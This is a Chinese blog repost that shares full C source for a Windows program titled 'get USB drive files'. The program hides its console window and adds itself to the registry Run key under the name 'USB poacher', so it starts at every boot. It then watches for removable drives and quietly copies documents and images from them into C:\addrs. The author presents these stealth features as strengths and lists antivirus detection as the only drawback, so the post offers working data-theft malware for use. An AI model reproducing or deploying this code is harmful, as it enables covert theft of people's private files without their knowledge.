生活随笔
收集整理的這篇文章主要介紹了
获取u盘文件
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
功能:開機自啟動,無dos窗口彈出,復制速度較快
缺點:面對殺軟很無奈
#pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" )
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <string.h>void ComputerStart(char *pathName
)
{char *szSubKey
= "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";HKEY hKey
;int k
= RegOpenKeyExA(HKEY_CURRENT_USER
, szSubKey
, 0, KEY_ALL_ACCESS
, &hKey
);if (k
== ERROR_SUCCESS
){RegSetValueEx(hKey
, "u盤偷獵", 0, REG_SZ
, (BYTE
*)pathName
, strlen(pathName
));RegCloseKey(hKey
);}else{return;}
}void Copyfile(char srcFileName
[], char saveadd
[],char filename
[])
{char temp
[256] = { 0 };sprintf(temp
, "%s\\%s", saveadd
, filename
);FILE
* fpSrc
= fopen(srcFileName
, "rb");FILE
* fpDst
= fopen(temp
, "wb");if (fpSrc
== NULL || fpDst
== NULL) {return;}char *buff
=(char *)malloc(1048576);while (1){memset(buff
, 0, 1048576);int r
= fread(buff
, 1, 1048576, fpSrc
);if (r
> 0){fwrite(buff
, 1, r
, fpDst
);}else {break;}}fclose(fpSrc
);fclose(fpDst
);free(buff
);
}void findFile(char pathName
[],char saveadd
[],int *flag
)
{int return_val
= 0;char findFileName
[MAX_PATH
] = { 0 };sprintf(findFileName
, "%s\\*.*", pathName
);WIN32_FIND_DATA findData
;HANDLE hFile
= FindFirstFile(findFileName
, &findData
);if (INVALID_HANDLE_VALUE
== hFile
){return ;}int ret
= 1;char temp
[MAX_PATH
];while (ret
) {if (findData
.dwFileAttributes
== FILE_ATTRIBUTE_DIRECTORY
) {if (findData
.cFileName
[0] != '.') {memset(temp
, 0, MAX_PATH
);sprintf(temp
, "%s\\%s", pathName
, findData
.cFileName
);findFile(temp
, saveadd
,flag
);}}else {memset(temp
, 0, MAX_PATH
);if ((strstr(findData
.cFileName
, ".txt"))||(strstr(findData
.cFileName
, ".pdf"))||(strstr(findData
.cFileName
, ".doc"))|| (strstr(findData
.cFileName
, ".jpg"))||(strstr(findData
.cFileName
, ".png"))|| (strstr(findData
.cFileName
, ".ppt"))){sprintf(temp
, "%s\\%s", pathName
, findData
.cFileName
);Copyfile(temp
, saveadd
, findData
.cFileName
);*flag
=0;}}ret
= FindNextFile(hFile
, &findData
);}
}void FindMobeil()
{char saveadd
[] = "C:\\addrs";CreateDirectory(saveadd
, NULL);char DiskName
[256] = "H:\\";UINT DiskType
;int flag
= 1;while (flag
){for (unsigned char i
= 0x42; i
< 0x5B; i
+= 0x1){DiskName
[0] = i
;DiskType
= GetDriveType(DiskName
);if (DiskType
== DRIVE_REMOVABLE
){findFile(DiskName
, saveadd
, &flag
);}}}
}void WriteComputerStart()
{char pathName
[MAX_PATH
];GetCurrentDirectory(MAX_PATH
, pathName
);sprintf(pathName
, "%s\\", pathName
);strcat(pathName
, "u盤偷獵.exe");ComputerStart(pathName
);}int main()
{WriteComputerStart();FindMobeil();return 0;
}
創作挑戰賽新人創作獎勵來咯,堅持創作打卡瓜分現金大獎
總結
以上是生活随笔為你收集整理的获取u盘文件的全部內容,希望文章能夠幫你解決所遇到的問題。
如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。